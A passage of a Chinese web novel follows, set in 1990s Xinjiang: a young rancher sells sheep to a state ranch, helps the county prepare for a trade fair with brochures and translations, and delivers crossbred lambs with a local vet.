石副县长沉吟了一会儿后一拍大腿，“干！” “就像小姚说的，哪怕给咱们多吸引点儿人流也不算白忙活一场！” “那行”，姚新泉也笑了起来，“刚那个老爷子他媳妇做的这顶帽子，说是家里还有人会做，你们可以找他去问问。找手艺最好的那波人，既然做了，那就要在有限的条件了做到最好！” 石副县长眼中闪烁着坚定的光芒，他站起身，开始在房间里来回踱步，仿佛已经看到了展览那天人潮涌动的场景。他转身对姚新泉说：“对，我们不仅要展示这些精美的手工艺品，还要借此机会向外界展示我们县的文化底蕴和民族特色。这不仅仅是一场商业活动，更是一次文化交流的机会。” “我还在想，一些文艺表演会不会也需要这些？咱们带着过去，至少告诉人家，我们会做，我们还会做得特别好看！将来如果有需要，可以找我们定做！” 众人胸中不免激动了起来，是啊，就算暂时赚不到钱，但也要让人知道我们县的存在！ 第172章 姚新泉跟着队伍跑了三天,提出了不少建议，但也确实是把自己累傻了。 她瘫在躺椅上眼神放空，师月江则是把自己做好的凉皮拌了端给她,“尝尝？” 姚新泉端着碗吃了两口后没忍住给他竖了大拇指,“你可真太牛了,咋啥都会做？” 师月江眼中满是笑意,“尝试嘛！” “你真的是个宝藏啊,师月江！”姚新泉感慨道。 师月江在她身旁坐下,笑容温和，“每个人都有自己的长处嘛，你也很厉害啊，听说你提出了不少有价值的建议呢。” 姚新泉轻轻摇头,“没那么夸张,我自己有多大的本事我还是清楚的”,她对经济或者直白点说对做生意上真没多大的天赋，“我能提这些建议一方面是我出去见过一些世面，当初在上海我虽然没办法出入那些真的有钱的场所,但是那些可以只逛不买的地方我可没少去。人家是怎么营销的,什么产品卖得好，我未必知其所以然,但我长了眼睛很多东西是能看到的。” 姚新泉有些感慨,“咱们这边还是太小了,大家的眼睛局限在县里或者顶多是市里,也许一些工厂企业在本地还能苟延残喘，但是跟外地比起来，咱们是没有任何竞争力的。” “其实有机会还是得出去多看看”，如今外面的世界几天一个样,她如果真老老实实待在这个小地方一两年，外面都得天翻地覆，所以她也得跟得上时代才行。 “我觉得不管是干部还是一些企业的领导都得出去学学人家的先进经验，闭门造车算什么？”姚新泉忍不住吐槽，“而且咱现在的情况是自己连自行车都造不出来，人家都能上天了，不跟人学还能怎么办？” 师月江莞尔，“都不是一朝一夕的事情，你别急。” 忙碌起来时间总是过得很快，家里羊全都顺利生产，500头母羊总共生下来的羊娃子有602头，算下来双胎和多胎的比例不算低了。 不过跟湖羊是没得比的，她给湖羊做了检查，300头湖羊里没有一头是单胎的！ 其中三胎的高达89头，剩下全都是双胎，为此姚新泉不得不提前给它们补充营养。 一眨眼小羊娃子们都满月了，姚新泉赶忙联系了崔文建那边。 崔文建这阵子回去头确实托人打听了姚新泉的事情，不仅知道了7.2诈骗案的被揭发跟她有点关系，同时也确认了人家看着年轻，但真有一手过人的医术，这下他对姚新泉那就更重视了。 “我让皮尔开提过去一趟，确认好数量和金额，然后我这边办理转账，运费我们出就行。” 姚新泉自然是没意见，本身按她自己的说法来看，这个运费她自己出也是可以的，但对方愿意她还省了一笔钱呢！ 姚新泉干脆跟着车去了一趟崔文建他们的牧场，到了后崔文建赶忙笑着招呼她，“欢迎欢迎，姚同志过来一趟不容易，我带你去转转？” 姚新泉好久没去国营牧场转了，而且这家牧场主要还是产毛的，所以心里也好奇。 牧场刚开不久，草场辽阔，站在工作区里一眼望不到边。围栏是新扎的，四周都用铁丝网围了起来，每隔五十米就有一根水泥桩子，牢牢钉进土里。 姚新泉自家牧场下面是用泥土夯实的，上面用的网，也没用水泥什么的，造价就低了好多。 “我们这牧场占地六千多亩，按功能主要划分为三大区，东边是放牧区，中间是饲养区，西头是加工厂”，崔文建带着她往里走。 他指着十来间红砖平房道，“那是场部办公室”，姚新泉点了点头，顺着他指的方向看去，就见屋顶竖着好几根铁皮烟囱，门前则停着三台东方红拖拉机，漆色还新，轮胎纹路清晰。 姚新泉凑过去拍了拍拖拉机，眼中满是羡慕，“公家单位就是好，这刚开就有几台大铁牛了！” 想她家牧场，也就是她回来才买了摩托车，之前可是只有几匹还没长大的马呢！ 崔文建笑了起来，“上面扶持这一块儿，批钱什么的就方便，不然我也是没办法的。” 崔文建带着她又往放牧区去，放牧区用木栅栏隔成十二块轮牧草场，每块草场都打了机井，井口盖着铁皮盖子，辘轳上缠着粗麻绳。 草场边缘立着几个饲料槽，水泥砌的，槽沿磨得发亮。 “牧场上现在还没牲畜，除了你这一千来头羊，我们还打算再养一些，最近也在寻摸”，牧场太大了，他虽然不想过度放牧，但是也不想浪费草场。 此时正是北疆草场最丰茂的时候，草浪在烈日下翻滚，呈现出深浅不一 的绿，看着可以说是蔚为壮观。 好看是一方面，更重要的是有生命力。 姚新泉在自己家牧场上也喜欢远眺，一眼望不到头的牧场总是让人心情愉悦的。 牧场的草种混杂，姚新泉基本都不大认得，但是记得之前好像有谁跟她说过，主要还是以禾本科为主。有些草地长势特别好，一丛丛簇拥着，草穗沉甸甸地低垂，风一吹就沙沙作响。 还有的草叶片细窄，边缘带着锯齿，细细看过去很是特别。 还有她熟悉的苜蓿在零零散散地开着紫色的小花，豆荚已经饱满，但羊更爱吃它的叶子，所以往往等不到结籽就被啃秃了。 “当初选址的时候我们专门选了有河经过的，饮水、灌溉什么的都方便了”，崔文建找了两匹马，两人是骑马过来的，见姚新泉在马背上行动自如，丝毫不见一点拘束他更是欣赏了。 看着牧场她不羡慕，但是看着那湿地、芦苇她可真是羡慕坏了啊！ 靠近河滩的湿地里，芦苇长得比人还高，密不透风，风吹过时还会发出哗啦啦的响声。 看到芦苇她就心痛，上回不管是种的植物还是水下的田螺、河蚌这些都被洪水冲走了不少，最多也就是只剩十之二三了，可心疼死她了！ 两人又往前走了一段后姚新泉注意到一块牧场的地表泛着灰白色的碱霜，踩上去硬邦邦的，裂缝里结着盐晶，草也长得稀疏发黄。 姚新泉感慨了一句，“盐碱化啊！” 崔文建叹气，“可不是嘛？不过已经找了技术员过来想办法治理了，慢慢来总有办法的”。 当初划分牧场的时候总不能说是把这块儿地给隔开吧？ 而且盐碱化这个事情也不能不重视，如果不重视的话，草场退化会加剧，周边土壤也有可能受影响，必须得治。 “排水沟我们会修，还会种植耐盐的牧草，另外也会采取一些化学措施，慢慢来吧！” 见崔文建心里都有数姚新泉也不禁感慨，没两把刷子还真当不了厂长了。 崔文建又带着她往饲养区走去，饲养区有10排砖砌羊舍，屋顶铺着石棉瓦。每排羊舍长六十米，分隔成二十个栏位，水泥地面看得出来应该也是有微微倾斜，粪尿能顺着沟槽流进化粪池。 姚新泉也看到了青贮窖，粮仓就更不用说了。 羊舍尽头是配种站，白灰墙上刷着红字标语。 里面搁着一套人工授精设备，玻璃器皿泡在消毒液里，铝制液氮罐冒着白汽。 姚新泉啧啧两声，“你们这条件是真可以啊！” 崔文建脸上满是骄傲，“我们想培育牧场自己的优质种羊，该做的准备工作肯定是得做好的。” 崔文建想得很开，他不趁着最开始的时候要，难不成要等牧场开了一段时间缺钱了再要？ 那时候他们手上没项目，甚至没赚钱，到哪里要钱去？还不如一次性狮子大张口呢！ 姚新泉感慨了两声又跟着去了加工厂。 加工厂是钢混结构，蓝色铁皮顶，看上去很是气派，姚新泉很是羡慕。 进去后就见厂房里安着两台梳毛机，铸铁底座，齿轮上还沾着新抹的黄油。 西头是洗毛车间，里面有好几个水泥池子，“到时候就在里面洗毛，方便得很”，现在跟以前不一样了，许多都能上机械操作，省了人工，当然了，前提投入肯定不低。 再往里走是仓库，里堆着农具，铁锹、铡草机、喷雾器，墙上挂着几套马具，皮子还是硬的，她瞄了两眼就被带走了。 最靠外面是一大简兽医室，姚新泉对这里还挺感兴趣的，她尾推门而入，就见里面有一个药柜，药柜里面密密麻麻摆的都是药品，更多的还是西药。 隔着玻璃姚新泉都看到了，有好几只麻醉药，姚新泉羡慕得哈喇子都要落下来了。 “你们这药品这么齐全呢？”她艰难地转移了视线，再好的东西不是她的也没用。 不过她还在里面看到了进口兽药，老天爷，除了这两次之外，她之前连国产药都很难弄到，更别说进口药了！ “我们还没找到合适的兽医，你有合适的人员吗？” 姚新泉使劲儿想了想，半晌无奈又遗憾地道，“我确实没有别的认识的兽医了，你不行问问艾力大夫？” 崔文建本身也没抱什么期望，先看看能不能自己找，不能的话不行就让上面拨人吧！ 第173章 你对经营牧场有什么想法吗？”崔文建问道。 见姚新泉疑惑地看过来他无奈一笑,“我之前经营过牧场，但不是一把手，所以心里总是有些没底。” 虽然说做不成一把手很多事情都要受人家的束缚,但是同样的上面有人兜底,遇到一些无法抉择的事情也有人能够去承担做选择的风险。 有利有弊吧！ 姚新泉苦笑,“我那情况想必萨哈烈也跟你们说了,我接手到现在也没多久,也就是个新人而已”。 就在崔文建以为她不会说什么时就听姚新泉道,“我可能给不出什么太专业的想法或者建议，我只说说我的经验吧，你就凑活着听听。” 崔文建笑着点头，他还挺期待的。 “我觉得牧场最重要的一个是牲畜,一个是草场还有一个就是饲料。夏天还好一点,水草丰美,一般情况下即便要补充饲料也不用太多，但是秋冬就面临着囤积饲料的问题。” “咱们一个一个来说，就说这个秋冬囤积饲料吧,我觉得你可以去学习深造一下,看看针对提高羊毛质量的问题上秋冬最好囤积什么饲料，然后考虑性价比后针对性地去准备。现在无论是知识还是科技都在飞速发展中,你开牧场又是这么大的规模,不可能像人家自家养上十来二十头羊怎么弄都行。” 崔文建点头,“我招的技术员本身就得有学历背景,到时候有必要再把人送去学习学习”。 说到这里他也头痛，杜俊的事情确实被他捅出去了，公安那边也把人带走了，为此他丈母娘、老丈人,甚至他媳妇儿都跟他闹。 他虽然烦但却不觉得愧疚，杜俊坑他的时候怎么不觉得愧疚？ 他不过想要自保而已，至少他的工作保下来了，这比什么都值！ 把这些破事都抛之脑后，他继续听姚新泉说她的想法，“羊的问题，如果是我的话我得考虑几个方面，现有羊毛品质够不够，未来要不要往别的方向培育还是说让它们继续生就可以？一些基础设施做的怎么样，冬天羊圈会不会漏风然后把羊冻死？” “还有生病的问题，正常的驱虫、疫苗不能少，还得防范一些传染病或者别的流行病，该怎么管理。记录的话也得做好，毕竟你这是国营牧场，跟我那小作坊不一样”，姚新泉笑着调侃了一句，“你们得事事有记录，万一有问题的话得知道问题是怎么发生的，是谁的过失，怎么治疗怎么防范，都能溯源，到时候不管是追究责任与否都好说。” “还有草场的问题，我看你确实是分了轮牧的牧场，那这样的话至少能避免过度放牧。另外草场盐碱化你得注意，同时还得注意牧场的水源问题”。 姚新泉叹了口气，把自家牧场之前的情况说了，满脸无奈，“牧场是很依赖天然水源的，所以一旦上游污染或夏季干旱，羊群可能因饮用脏水腹泻或者发生别的问题，牧场上也会受影响，也得安排人做好监测。” 崔文建越听越觉得姚新泉肚子里是真有知识，不是吹出来忽悠人的。而且她还不吝惜教会别人，这就更让他高兴了。 请姚新泉吃了饭后姚新泉没再留，钱的话崔文建已经去银行办理了电汇手续，他们也去确认过不缺材料，款会直接打到她的账户上，不会突然被扣押的。 等姚新泉离开后崔文建就让人去请皮尔开提过来，他则是又把技术员叫过来，针对姚新泉提到的问题开始询问起来。 技术员名叫赵阳，是农业院校畜牧专业刚毕业的大专生，这次能被招进来他还挺高兴的，毕竟新单位那就代表着无限可能，自己也能借此大展拳脚了。 结果来了后才发现，很多事情跟他想得并不一样。 就比如说现在，厂长针对羊的饲料问题或者别的问题竟然要去请教一个看起来跟他差不多大的女人，这让他有些无法接受。 “场长，饲料的问题您不用担心，我学的就是畜牧专业，到时候我根据咱们这边的情况制定一个饲料配方出来，保证能让羊毛越来越好。” 崔文建看了他一眼甚至有些想笑，“那你现在给我说个配方，我看看看怎么样？”说着又改口，“要适合冬季的。” 赵阳愣住了，一直以来他都是按照书本上的知识来学习，适合某个季节？耍人玩儿呢？ 见他答不上来崔文建也不意外，毕竟他也没指望一个刚毕业的大专生能有多大的本事。 “行了， 你先去准备一下吧，把需要的东西列个清单出来，我好让人去采购。” 赵阳应了一声转身离开，等他走后崔文建才又拿起电话拨了出去。 “喂，是刘主任吗？我是崔文建啊，我想跟您打听个事儿，咱们这边里有没有经验丰富的兽医啊？我想请一个过来。” 姚新泉不知道崔文建的想法，至少到目前为止，她该做的能做的都做了，自家羊本来就不错，她对得起崔文建他们了。 她回去后没多久便受到了款子，赶紧给萨哈烈结了，又给他付了一笔佣金后，萨哈烈笑得眼睛都弯了起来。 “姚老板大气啊！”萨哈烈笑道。 姚新泉毫不客气地点头，“那你帮了我这么大的忙，我肯定得够意思才行啊！” 付完钱后姚新泉自己心里反而松了口气，不知道为啥欠银行钱和欠私人的钱给她的感觉不一样。 欠银行的钱那就是没什么好说的，早都谈好了什么时候付多少，利息是多少，谁也不欠谁人情。 但是欠个人钱，尤其是像萨哈烈这种，她欠了人家，人家还欠着别人的情况，总觉得心里别扭，付完了才舒坦。 另一边师月江也被叫到了工厂里面，赵群学拿着最新的奶粉以及报告给他看，“我们请了技术人员过来调整，也改良了好多次配方，但是效果不是太好，最多也就是勉强算到高品质奶粉里，跟姚老板家的不能比”，他谈了口气，“设备还得更新啊！” 师月江拿起了两份报告对比，确实，其他地方的奶质量就是比不上姚新泉家的，可这又让他忍不住心里冒出一股想探究的想法。 同一片土地上，牛的品种也差不多，仅仅是饲养科学不科学，奶制品的质量就会差这么多呢？ 还是说有别的原因？ 他抿了抿唇不再去想这些，这些都不重要。 “设备更新的事情你去考虑，但是也得考虑有没有必要一下子步子迈得这么大？如果短期没办法更新设备的话，那是不是考虑分成两个品牌去经营，一个是相对高端一些的，那价格就得提上去，另一个是质量没那么优越，但是也高于市场平均水平，而且价格相对平价一些？” 赵群学很是认同地点头，“我也是这样想的。” 姚新泉家里的奶产量就那么高，而且之后等产乳期过去后一年半载都会没有牛奶的，如果只指望她家的牛奶，总不能说到时候一年半载的工厂都不经营了吧？ 不如把产品分出等级来，质量好的卖高价，质量一般的就走平价路线，用价格来弥补质量上的不足，这样一来也能让消费者多一个选择。 再说了，不是他吹，这边的牛奶就算是平价一些，质量可未必比内地那边高价的差。 师月江见赵群学跟自己想到一块去了便也不再多言，而是问道，“那技术人员呢？我哥之前安排来的人回去了是吧？是继续找还是？” 赵群学想了想，“我们倒是又找了人，但不算太行。咱们这边不好找高精尖的人才，现在找的人不算太出挑，但是在咱们当地也勉强算是拔尖了。先了解一段时间，人如果没问题的话那到时候不行厂里跟他签个协议，把人送去培训培训，也算咱们厂自己的人才了。” 师月江点头，“行，那厂子的事情就指望你了。” 师月江回了牧场，见姚新泉买了一堆吃的喝的回来心里便有数了，“拿到钱了？” 姚新泉用力点头，脸上是掩饰不住的喜悦，“虽然当初我爸妈他们买羊也支出了不少，但是我没看到花，我只看到赚了，在我心里就跟净赚一样！” 师月江见她笑得跟偷油的小耗子一样也忍不住笑，“那晚上咱们吃点儿好的庆祝庆祝？” 姚新泉点头，师月江也没叫她帮忙，姚新泉见状刚要骑着车去了牧场上转转就感觉车厢里跳上来一个东西，她回头一看便挑起了眉毛，“想出去转转？” 小雪豹叼着自己的尾巴眨巴着眼睛看着她，姚新泉没忍住挠了挠他的下巴，小雪豹舒服得松了嘴，尾巴啪嗒掉在了三轮车厢里。 他茫然地看了看姚新泉，又看了看尾巴，半晌有点委屈地呜咽一声。 姚新泉差点笑出声来，刚想说什么就见莱尼也跳了上来坐在小雪豹身边。 小雪豹立马警惕了起来，变成了一只僵硬的豹豹，姚新泉摸了摸两小只后带着他们去巡视了。 牧场周围虽然好像也没什么野生动物，但是能留下一些猛兽的气息也是好的，避免一些小动物往这边瞎跑。 第174章 八月的太阳能把人烤焦,站在外面只觉得热浪滚滚，柏油马路都被晒得发软，好像踩上去就能留下浅浅的脚印。 姚新泉抹了一把额头上的汗,跟师月江把摩托车停在县委门口。 “感觉来了不少人啊！”姚新泉看着县委门口的马车、摩托车、自行车感慨。 师月江嗯了一声,把摩托车停好,拎着奶粉就准备进去。 到了大会议室后就发现里面已经坐了二十来人了,看着人数姚新泉忍不住皱眉,“能去这么多人吗？” 她大概看了一眼,这还都不是县委的人，县委去人，总得有人带队，有人安排对接一些琐事,估计又得至少两三个,这么一来一个县去三十个,这乌恰会现场能这么多人去？ 姚新泉他们没往前挤，两人再后面找了个地方坐下来，没一会儿就见县长还有谢局等人一起过来了。 石副县长整理了下衣领,在众人热烈的掌声中起身朝大家鞠躬。主席台铺着墨绿色呢绒布,摆着两个印有"奖"字都用旧了的搪瓷茶杯。 "同志们！"石副县长的声音响亮，没用话筒也能听得很清楚,"今天这个会,是要解决三个问题。"他伸出三根手指,"第一,统一思想；第二，明确任务；第三，落实责任。" 会场立刻安静下来，只听见此起彼伏的翻笔记本声。石副县长没用演讲稿,"县委县政府决定，由我带队参加下月开幕的首届乌洽会。这场盛会不只是我们自治区，更是全国的一项重大活动，对于咱们县来说更是难得的一次机遇！" 他停顿片刻，目光扫过台下，"经县政府常务会议研究，多家企业、合作社等单位均会参加本次会议，每家单位的展品清单也已经审核完毕。" “接下来我讲一下咱们乌恰会参展的产品……” 台下响起密集的笔记声，石副县长喝了口茶缓了缓继续道："县财政拨付专项资金三万元，用于展位租赁、样品运输和人员差旅。这笔钱想来大家心里也有数，这对于县里来说不是一笔小钱。但县里愿意拿出这笔钱，县里是希望能物超所值的"。 不是他非要给大家压力，只是有时候压力代表着动力，他们付出了这么多，如果空着手回来那才是真的无颜面对江东父老了！ 有人举手提问，"石副县长，外汇额度怎么解决？万一有外商订货……" "地区外经贸局特批了额度，"石副县长从文件夹里抽出一张盖着红印的文件，"所有涉外合同必须经代表团领导小组审核，绝不允许擅自签约。" 会议进行到一半时，石副县长突然脱稿讲话。 他摘下眼镜，声音提高了八度，"我知道有些同志心里打鼓，觉得我们这小地方的产品拿不出手。"手掌重重拍在讲台上，震得茶杯一跳，"但我要说，改革开放都十四年了，再抱着这种思想就是拖全县的后腿！" 会场鸦雀无声，石副县长叹了口气，"前一段时间我去内地那边开会学习，人家沿海地区的也不是说到处都是大企业大厂子，那些乡镇企业连螺丝钉都能出口创汇。咱们确实没有什么重工业产品，主要还是农牧产品以及相关副产品，但是你们也得明白，咱们这次主要想要合作的外 企还是中亚五国，他们和咱们这边的许多民俗之类的都有相似之处，带有民族特色的东西他们也喜欢。所以咱们也专门准备了不少针对性地产品，想来还是有一定市场的……" 他讲了不少，姚新泉看着台下的众人，总觉得他们也未必真多了两分信心…… 石副县长接着开始部署具体工作，"成立乌洽会筹备领导小组，我任组长，经委马主任、商业局谢局长任副组长。下设三个工作组：展务组负责样品运输和布展，业务组负责洽谈对接，后勤组解决食宿交通。" 他拿起另一份文件宣读："九月二号展会开始，咱们预计的是8月25号出发，8月27号上午到乌，27号修整一下，28号到1号之间安排好各项事务"，他们算是留足了时间，不是为了别的，只是为了到时候大家能有更饱满的状态迎接即将到来的挑战。 姚新泉没忍住举手问道，“这次安排了多少人同去呢？展会有没有限制进场人数？总不能咱们乌泱泱去上三四十个人结果只能进三五个吧？” 石副县长很是赞赏地点头，“姚同志说到点上了，确实有人数限制，一个展台加上翻译等等总共是能去8到10个人，咱们至少要留上2个翻译的位置，县委这边出上4个人，其他单位就只有4个名额了。” 众人哗然，不是，他们还以为能跟着去长长见识呢！ 这都不让人去，还叫他们过来开什么会啊？ 一点参与感都没有！ 看着台下众人一脸失望的表情，石副县长无奈地笑了笑，他理解大家的心情，毕竟这样的机会难得，谁都想亲自去看看，去体验一下。 “我知道大家很失望，但是名额有限，我们得把机会留给最需要的人”，石副县长说道，“而且，这次参展的主要目的是推销我们的产品，寻找合作伙伴，而不是让大家去旅游观光。所以，我希望大家能理解，也能支持我们的决定。” 姚新泉不知道知道名额少，但是没想到这么少，看来只能让师月江自费前往了。 “可以自费前往吗？”姚新泉问道。 石副县长点头，脸上多了两分笑意，“是想让师同志一起去吗？你肯定是这四人之一，你们要是不介意就让他自费跟着咱们一起吧！” 其实真说起来他倒是希望师月江能跟着一起去，但是总共就四个名额，他们两口子一下子就去了一半，实在是说不过去。 至于姚新泉的名额，众人都没有什么异议，毕竟上次姚新泉提的那些建议也算是让他们都受益了。 姚新泉想了想还是补了两句，“我建议没名额参加展会的单位在参展期间也得有人在电话边儿上时刻等着，咱们到底不是最了解这些产品的人，万一有个不确定，咱们还能及时对接。” “另外，我跟师月江都会一些外语，到时候有什么需要我们也能顶上。” 不是她非要出这个风头，主要是回头一看，后面坐着的都是一些朴素的工人农民牧民兄弟们，别说什么外语或者外贸了，真在人前讲述自己的产品他们都未必能做到。 她要是不参加也就算了，既然都参加了，都走到这一步了，又占了人家的名额，她总得让这个名额足够有意义才是。 石副县长有些惊喜外加不敢置信，他知道姚新泉是高材生，但是因为她回乡了，他不免会觉得是不是因为在内地没混的太好所以才会回来？ 只是因为这边人少，人才也少，所以才会显得很珍惜。 但如今一看可不是这样啊！ “那行，小姚你跟小师两人到时候多上上心，有什么需要我这边去帮忙的或者跟上面疏通的都跟我说，我舔着老脸不要也帮你们争回来！” 石副县长又安排了一会儿，姚新泉见会议似乎到了尾声，想了想最终还是站了出来，她真没想这样出风头！ “咱们要不要准备些宣传册去宣传一下咱们的产品？” “宣传册？”石副县长微微皱眉，他是完全没想到这里，“你展开讲讲。” 姚新泉便把自己心里的一些想法说了出来，“这次参展的不只是咱们县，其他县市和企业的人数不胜数，到时候大家的展位都挨在一起，产品也都摆在那里，人家外商凭什么就要先看咱们的呢？” 众人闻言皆点头，确实，如果都是差不多的产品，人家外商肯定要先看那些名气大的，或者包装看上去更吸引人的。 “所以我觉得咱们是不是得准备一些宣传册，把咱们产品的优点，还有咱们县的特色都写上去，最好再配上一些图片，弄个三折页的宣传册，一张纸看着也方便，而且人家一看就能对咱们的产品有个大概的了解，也能吸引他们来看一看。” 石副县长闻言眼睛一亮，“你这个想法不错，能吸引人的眼球，也能让人家更快地了解咱们的产品，我看行。” 他看向其他人，“你们觉得呢？” 其他人也纷纷点头表示赞同，“确实是，有宣传册的话也能显得咱们更专业一些。” “对，而且也能让外商带回去给其他人看，这样也能起到宣传的作用。” 姚新泉见众人都赞同自己的想法，心里也很高兴，“那这个得赶紧操办起来了，设计、印刷什么的都需要时间，各个单位至少得提供宣传文字，然后再派人去拍点儿照片。而且最好还能提供上几个常见版本的文字，比方说汉语、英语、俄语”，未来不好说，但目前的话俄语基本还能算中亚五国的通用语言。 石副县长眼睛一亮条件反射地觉得这事儿就交给姚新泉，但又及时止住了嘴，不能这样压迫人家劳动的！ 到时姚新泉主动道，“各个单位提供的文本可以由县委先审核一下，没什么问题的话如果没找到翻译，我可以翻译英语，师月江翻译俄语。” 石副县长又惊又喜，赶忙点头，“行，那就辛苦你们了。” 第175章 会议结束了,姚新泉跟师月江领着一堆任务回家，出了会议室的门两人相视一笑。 有人笑着朝姚新泉二人打招呼，“真是多亏了二位了,回头二位哪天有空来我们合作社转转,我们社里的毛毡着实是不错的。” 姚新泉笑着点头应下,“一定一定,等忙完这阵子一定去参观参观。” 师月江也客气了几句,这才骑着摩托车离开县委。 时间紧任务重,各个单位的人在当天就把文案提供给了县委，县委审核没问题后便把东西给姚新泉送了过去，姚师二人晚上加了个班，第二天下午便把翻译的文稿交还了县委。 县委那边带上设计好的三折页去了市里印刷,县里没印刷厂,小作坊又做不了这种有些难度的东西。 姚新泉却顾不得别的了,湖羊生了，不算提前，但确实是跟展会时间冲突了。 姚新泉有些为难,“恐怕我不能一起提前去了”,县里的出发时间早，她倒不是特别担心错过了展会,只是确实也没时间去帮着做准备工作了。 湖羊和杜泊羊杂交的这批羊费了她那么多心血,她不可能当甩手掌柜的。 “没事儿”,师月江安慰道,“咱们到时候开车去吧！” 说完又忍不住笑，“你那车到底还学不学了？” 姚新泉无奈做出投降的姿势，“咱俩天天都在一块儿，我也就闲了那么两天,之前天天都忙得脚底冒烟儿，哪有时间去学？” 师月江满脸都是笑意，“行了行了，到时候咱们开车去，只要2号前到了就成。” 两人给石副县长打了个电话，石副县长虽然心有忧虑，但是也没办法说出让人家别管自家的事情这种话。 人家为了乌洽会已经够上心的了，他要是再得寸进尺那是真不太合适。 “那行，那小姚你跟小师到时候一起过来，我们就先过去了，对了，你们需要我帮着安排车吗？”他倒是记得两人是有一台车的。 果然姚新泉拒绝了，挂了电话后她叹了口气，看着师月江苦笑，“太巧了。” 不过虽然这样说，心里却觉得庆幸，比起在参会前分娩，她更担心的是在自己参会过程中分娩，那才是真完蛋呢！ 姚新泉赶紧往羊圈里走去，幸好建厂的工人前一段时间过来盖了几间畜棚，不然那是真没位置安顿牛羊了。 一间畜棚里安置了差不多50头羊，姚新泉听着有畜棚里声音不对，不是平常那种此起彼伏的反刍声，而是带着焦躁的踢踏和短促的咩叫。 她快走两步，艾力大夫还在来的路上，她得先赶紧去看看。 声音来自靠房子最近的一间畜棚，她推门进去就见已经有二十来头羊都站起身来不安地走动着了。 姚新泉赶忙走到一头看着已经发动了的湖羊身边，就见对方腹部剧烈收缩，鼻孔张得老大，看着 很是痛苦。 姚新泉心里一沉，这家伙胎位还算正，但是也不好生啊！ 孩子太大了！ 这是不可避免的事情，杜泊羊以体格大、生长快著称，而湖羊母本体型相对较小，骨盆结构可能无法适应过大胎儿，而湖羊的多胎可能导致子宫空间不足，胎儿发育不均，增加难产概率。 "好姑娘，用力，"她轻声鼓励着，同时检查产道情况。手套上已经沾了黏液，指尖能摸到一小块湿润的突起，是羊膜囊。湖羊发出一声长长的呻吟，后腿绷直，姚新泉看到羊膜囊随着宫缩向外突出。 第一只蹄子出现了，紧接着是第二只，整齐地并排着，蹄底朝下，这是最理想的前置位。 姚新泉松了口气，但还是保持着警惕。杂交羔羊往往比纯种湖羊羔大，不能说因为这头湖羊是经产羊便不当回事儿，难产的风险还是很高。 "再来，用力！"她一手轻轻托住已经露出产道的两只小蹄子，另一手抚摸着母羊紧绷的腹部。母羊再次收缩，姚新泉顺势做了个轻微的牵引动作。湿漉漉的羊羔头滑了出来，然后是肩膀和整个身体。新生羔羊裹着胎膜落在干草上。 姚新泉迅速撕开胎膜，用毛巾擦拭羔羊口鼻的黏液。小家伙立刻发出一声微弱的咩叫，四肢开始挣扎。母羊转过头，急切地舔舐着自己的孩子。姚新泉检查了一下新生儿，这是个小女孩儿，体型比普通湖羊羔大了约三分之一，继承了杜泊羊典型的圆筒形身体。 脐带还在搏动，她等了约一分钟才用消毒过的剪刀剪断，然后涂上碘酒。正当她准备记录出生时间时，湖羊突然又开始用力。 第二只要生了！ 姚新泉把笔记本丢给师月江让他记录。 第二只出来得比第一只快得多，几乎是喷射而出。这次是只公羔，体型更大，毛色已经能看出杜泊羊的浅棕。两只新生羔羊在母亲的舔舐下颤巍巍地试图站起来，湿漉漉的羊毛上冒着热气。 姚新泉帮第一只羔羊找到□□，轻轻挤了几滴初乳到它嘴里。小母羔本能地开始吮吸，第二只也跌跌撞撞地凑了过来。母羊疲惫但平静地躺着，时不时回头舔一舔它们。 姚新泉勉强松了一口气，这头湖羊是双胎，两只都还算不上难产，只是到底也比不上普通顺产，母羊的体力耗费也很多。 她看着母羊和两只小羊羔，心里既有欣慰也有担忧。欣慰的是，这两只小羊羔都健康地出生了，而且看起来活力十足；担忧的是，母羊经过这次双胎生产，体力消耗巨大，需要好好调养。 姚新泉让师月江去准备一些温水和精料，需要给母羊补充营养。她自己则留在畜棚里，继续观察母羊和小羊羔的情况。 过了一会儿，艾力大夫也赶到了。艾力检查了下母羊和两只小羊羔，脸上多了几分笑意， “你在接生这一块儿可比我权威多了！” 姚新泉无奈一笑，“你可别捧我，我要学的东西可多着呢！” 艾力也没走，他对自己的定位很清晰，不是说要给姚新泉解决什么疑难杂症，而是要帮着她一起去接生。 她家湖羊是同一时间配种的，生产的时间虽说不会集中在一天，但基本还是同步的，前后差不了几天。姚新泉一个人肯定没办法同时顾及那么多羊，他必须得帮忙盯着。 两人没来得及多说，那边又有两头羊生产了，艾力凑过去看着羊的肚子就忍不住叹气，“胎儿大，幸好你没补过了头，不然这母羊更难生了！” 姚新泉也有些难受，改良的问题就在这里，正常情况下如果说是出于什么人道主义精神或者是什么别的考虑，那就应该是小体型羊配小体型羊，不然不好生。 但杂交不就是这样嘛？ 两人立刻投入到新的接生工作中，两人大致做了分工，一般正常生产的由艾力大夫负责，姚新泉则是主要负责难产的羊。师月江的话则给两人打辅助，包括母羊产后调整饮食和水等问题都是他去做，畜棚里一时间忙碌而又紧张。 随着时间的推移，越来越多的羊开始生产，姚新泉和艾力也越发忙碌起来。他们不仅要接生，还要时刻关注母羊和小羊羔的健康状况，确保它们都能平安度过这个关键时期。 “月江，你记一个方子给它们熬点药吧！”正常顺产的羊其实没必要专门喂药，但是这不是母羊伤身体了吗？多少给调整一下，尽快恢复吧！ 母羊要是恢复不好的话，不仅本身容易生病，吃奶的小羊羔身体也不好，对于后续的繁育一样会出现不少问题，所以能调一下就调一下吧！ “你说”，师月江取了手套翻到一页空白的地方开始记录，“益母草30g、当归10g、红糖50g，煎水灌服，这是10头羊的量，你到时候看有多少只需要，调整一下药量就成。” “另外再用这个方子，党参、白术、茯苓各10g，碾碎成粉末混入精料中，一周喂上两次就行。” 师月江记下后赶紧去熬药了，上回药柜买回来之后家里备了不少中药，常用药都不缺了，姚新泉这边用药方便了好多。 见艾力好奇，姚新泉便解释了起来，“益母草那个方子是产后恢复用的，党参那个是比较常见的一个保健方，回头让师月江抄给你。” 艾力笑着点头，他没系统学过中医中的兽医，但是确实还挺感兴趣的。 姚新泉接着说道，“中医里的兽医其实很有意思，有些草药对动物的效果比对人还好，等回头有时间了，我好好跟你讲讲。” 艾力眼睛一亮，“行啊，那我可得好好跟你学学。” 说话间，又一头羊发动了，姚新泉和艾力立刻投入了新的接生工作中。 姚新泉觉得家里的羊特别体谅自己，知道自己后面有事，所以一个个赶着都生了，也就大半天的时间，两人接生了四十多头母羊。 